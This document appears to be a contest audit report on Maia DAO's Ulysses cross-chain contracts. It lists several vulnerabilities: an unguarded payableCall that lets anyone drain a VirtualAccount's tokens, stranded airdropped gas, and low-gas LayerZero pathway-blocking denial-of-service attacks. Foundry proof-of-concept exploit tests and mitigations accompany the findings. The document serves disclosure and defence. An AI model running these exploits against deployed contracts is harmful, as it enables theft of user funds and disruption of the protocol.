Maia DAO - Ulysses - windhustler's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Virtual Account is used to store assets on the user's behalf. Since payableCall function allows arbitrary function execution and the requiresApprovedCaller modifier was missed it's possible to steal all the tokens from the VirtualAccount.

Proof of Concept

    function testDrainVirtualAccount() public {
        VirtualAccount virtualAccount = new VirtualAccount(msg.sender, address(rootPort));

        avaxMockAssetToken.mint(address(virtualAccount), 1 ether);

        address attacker = address(0x123);
    
        hevm.startPrank(attacker);
    
        assertEq(avaxMockAssetToken.balanceOf(attacker), 0);
    
        PayableCall[] memory payableCalls = new PayableCall[](1);
        payableCalls[0] = PayableCall(
            address(avaxMockAssetToken), abi.encodeWithSignature("transfer(address,uint256)", attacker, 1 ether), 0
        );

        virtualAccount.payableCall(payableCalls);
    
        assertEq(avaxMockAssetToken.balanceOf(attacker), 1 ether);
    }

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

Add requiresApprovedCaller modifier to the payableCall function.

function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
    uint256 valAccumulator;
    uint256 length = calls.length;
    returnData = new bytes[](length);
    PayableCall calldata _call;
    for (uint256 i = 0; i < length;) {
        _call = calls[i];
        uint256 val = _call.value;
        // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
        // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
        unchecked {
            valAccumulator += val;
        }

        bool success;

        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

        if (!success) revert CallFailed();

        unchecked {
            ++i;
        }
    }

    // Finally, make sure the msg.value = SUM(call[0...i].value)
    if (msg.value != valAccumulator) revert CallFailed();
}

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L915-L922

Vulnerability details

Impact

Some of the flows inside the protocol require airdropping gas tokens to the remote chain to execute a callback message. In case the callback message fails to execute the airdropped amount is left sitting in the BranchBridge/RootBridge contracts. There is a high likelihood of this occurring quite often because it takes (1-5 min. or more) for a Relayer to deliver a message to the remote chain during which the airdropped amount might not be sufficient to execute the callback message due to price fluctuations, or something else can revert. In these cases the user will lose all the airdropped amount.

Proof of Concept

One of the examples of needing a callback message is the retrySettlement through BranchBridgeAgent. In this flow the messages travels from Branch -> Root -> Branch. Let me illustrate it starting from a branch chain.

Polygon The transaction starts from retrySettlement function inside the BranchBridgeAgent whereby the airdropped amount covers Root -> Branch message. The address to airdrop the tokens is specified in adapterParams V2 as the receiver, and is the RootBridgeAgent address. The message is sent towards the RootChain (Arbitrum).

Arbitrum

1. The message is received and processed inside the RootBridgeAgent:lzReceive(...).
2. In cases where dstChainId != localChainId another message is sent to specified branch.
3. If the airdropped amount is not enough to cover the cost of sending the message everything reverts.
4. The airdropped amount is left sitting in the RootBridge contract.

One can argue that the user should always double or triple the airdropped amount to cover the price fluctuations, but this is also not viable since he would then be losing this whole airdropped amount in case a revert happens somewhere else.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The most elegant solution would be to transfer any remaining airdropped amount back to the sender after the lzReceiveNonBlocking has finished executing.

 /// @inheritdoc ILayerZeroReceiver
    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );
       address user = queryRefundeeOrUser(_payload);
       user.call{value: address(this).balance}("");
    }

    function queryRefundeeOrUser(bytes calldata _payload) public view returns (address) {
        return abi.decode(_payload[START:FINISH], address);
        // START and FINISH are the offsets of the user address inside the payload
    } 

Other occurrences

Anywhere in the code whereby there is a callback message covered with the airdropped amount there is a chance of this happening.

• https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L787
• https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L823
• https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L424-L428 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L424-L428

Vulnerability details

Impact

This is an issue that results in the blocking of the pathways on all the chains(root and branches) and disabling any cross-chain communication. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable and locking user funds.

Proof of Concept

Layer Zero minimum gas showcase

While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params. All the invocations of ILayerZeroEndpoint(lzEndpointAddress).send(...) function inside Maia DAO contracts naively assume that it is not possible to specify some small amount of gas, but in reality you can pass whatever you want. As a showcase, I have set up two simple contracts on Avalanche and Polygon and a transaction that sends only 5k gas which reverts on the destination chain resulting in StoredPayload and blocking of the message pathway between the two lzApps. The transaction below proves that if no minimum gas is enforced on the sending side, the Relayer will deliver the message to the destination with any gas specified.

Transaction Hashes for the example mentioned above:

• LayerZero Scan: https://layerzeroscan.com/106/address/0xe6772d0b85756d1af98ddfc61c5339e10d1b6eff/message/109/address/0x5285413ea82ac98a220dd65405c91d735f4133d8/nonce/3
• Hash of the sending transaction: https://snowtrace.io/tx/0xdbfe4183fa788ec562a6cce498ea1d5796210e50fecc6e399525e6af20c62349
• Hash of the receiving transaction: https://polygonscan.com/tx/0x8b2a890270d803df33951807e0a9c6075665afd49c2e4517c81b80ce24e1e44c

Attack scenario

The attacker calls callOutAndBridge function on any of the branches(chains). Since this function allows passing on arbitrary length bytes calldata _params he inflates the payload to be very large, e.g. 9k bytes. Besides that, he specifies the gasLimit inside the GasParams to be 5k gas. This transaction is successfully executed on the branch chain and is delivered to the rootChain.

On the receiving chain the transaction is first validated through the LayerZero contracts before it reaches the lzReceive function. The Relayer will give exactly the gas which was specified through the GasParams. The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for. Due to an inflated payload and a small amount of gas the transaction reverts somewhere inside the ExcessivelySafeCall library function execution due to "out of gas" error. So in this case the (bool success) is totally bypassed and doesn't act as a try/catch. The result of this is that the message pathway is blocked, resulting in StoredPayload.

You can place the POC inside the RootTest.t.sol and run it with forge test --mt testBlockingPathwayWithMinimumGas -vvvv --watch to see the stack trace and the revert due to "out of gas error".

    function testBlockingLzPathwayWithMinimumGas() public {
        coreBridgeAgent.lzReceive{gas: 5_000}(
            avaxChainId,
            abi.encodePacked(address(this)),
            10,
            getDummyPayload(9_000)
        );
    }

    function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
        bytes memory payload = new bytes(payloadSize);
        for (uint256 i = 0; i < payloadSize; i++) {
            payload[i] = bytes1(uint8(65 + i));
        }
        return payload;
    }

Tools Used

• Manual review
• Foundry
• Tenderly
• LayerZeroScan

Other occurrences

RootBridgeAgent

• https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L823
• https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L915

BranchBridgeAgent

• https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L770
• https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L787

Recommended Mitigation Steps

In all the occurrences I listed above you need to ensure that the gasLimit passed is above some minimum threshold. This threshold is determined based on the amount of gas to copy the calldata into the ExcessivelySafeCall library. I've determined this minimum to be ~7k gas for very big payloads.

Anywhere in the code where there is a call to ILayerZeroEndpoint(lzEndpointAddress).send(...) function and the adapterParams are not validated and sanitized.

    function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams)
        internal
        virtual
    {
        require(_gParams.gasLimit >= gasLimitThreshold, "gasLimit too low");
        
        //Sends message to LayerZero messaging layer
        ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
        );
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L430

Vulnerability details

Impact

This is an issue that results in pathway blocking on the RootChain and disabling any cross-chain communication between Branches and RootChain. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable and locking user funds.

Proof of Concept

The root core of this issue is that lzReceive has additional logic outside the try/catch block. The objective of the attacker is to cause an "out of gas" error inside the lzReceiveNonBlocking. As lzReceiveNonBlocking is an external call, according to EIP-150 63/64 amount of gas is forwarded to this external call and the rest is left for the rest of the execution. The 1/64 gas leftover needs to be less than the gas needed for executing the logic inside the if(!success) block.

There are several ways of achieving "out of gas" error inside the lzReceiveNonBlocking:

1. In case the Router is a MulticallRouter or allows any sort of arbitrary data execution the attack can just drain the gas in that external call. Since the system allows deploying your own RootBridgeAgent with any kind of router this is easy to set up.
2. On the sending side there is no check for the amount of gas passed to the receiving chain, so the attacker can send a perfectly functioning transaction to the RootBridgeAgent deployed by Maia DAO but with a smaller amount of gas. As a consequence, the transaction will revert somewhere during the lzReceiveNonBlocking function execution.

I've set up a POC that demonstrates the second scenario. You can place the POC inside the RootTest.t.sol and run it with forge test --mt testBlockingPathwayOnRootChain -vvvv --watch to see the stack trace and the revert due to "out of gas error".

1. On the sending side the attacker calls the callOutAndBridgeMultiple function.
2. This is received on the RootChain and the lzReceive function is invoked with the specified gasLimit.
3. 63/64 of the gas is forwarded to the lzReceiveNonBlocking and the rest is left for the rest of the execution.
4. Since 25k gas is not enough to finish the whole execution it reverts due to "out of gas" error and returns success as false.
5. 1/64 gas remaning is not enough to execute the logic inside the if(!success) block and it reverts again.
6. This time the revert is caught inside the lzEndpoint catch block resulting in StoredPayload and blocking the pathway.

    function testBlockingPathwayOnRootChain() public {
        // Sending side
        address[] memory _hTokens = new address[](1);
        address[] memory _tokens = new address[](1);
        uint256[] memory _amounts = new uint256[](1);
        uint256[] memory _deposits = new uint256[](1);

        _hTokens[0] = address(avaxMockAssethToken);
        _tokens[0] = address(avaxMockAssetToken);
        _amounts[0] = 1;
        _deposits[0] = 1;

        uint256 gasLimit = 25_000;

        DepositMultipleInput memory dParams = DepositMultipleInput(_hTokens, _tokens, _amounts, _deposits);
        address attacker = address(0x123);

        hevm.startPrank(attacker);
        hevm.deal(address(this), 1 ether);

        avaxMockAssetToken.mint(attacker, 1 ether);
        avaxMockAssetToken.approve(address(avaxPort), 1 ether);

        avaxCoreBridgeAgent.callOutAndBridgeMultiple(
            payable(address(this)), "", dParams, GasParams(gasLimit, 0)
        );

        // Receiving side
        bytes memory payload = abi.encodePacked(
            bytes1(0x03), uint8(_hTokens.length), uint32(50), _hTokens, _tokens, _amounts, _deposits, ""
        );
        hevm.startPrank(lzEndpointAddress);
        coreBridgeAgent.lzReceive{gas: gasLimit}(
            avaxChainId, abi.encodePacked(address(coreBridgeAgent), address(avaxCoreBridgeAgent)), 10, payload
        );
    }

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

You should estimate the maximum amount of gas needed to execute the logic inside the [if(!success) block]. The remaining gas after the first external call should always be above that value. Also, this assumes that on the sending side this minimum gas is higher or equal to GAS_ALLOCATION.

    uint256 constant GAS_ALLOCATION = 2_000;     

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        uint256 allocatedGas = gasleft() > GAS_ALLOCATION ? gasleft() - GAS_ALLOCATION : 0;
        (bool success,) = address(this).excessivelySafeCall(
            allocatedGas,
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );
        if (!success) {
            if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
        }
    }

Assessed type

DoS

Users are able to create hTokens that don't belong to any underlying asset.

If we look at the addLocalToken function, it always deploys a new hToken contract through the hTokenFactory. This holds true even if hToken was already added for the underlying address. Consider adding a call to the RootChain to check if hToken for a specific underlyingAddress was already added.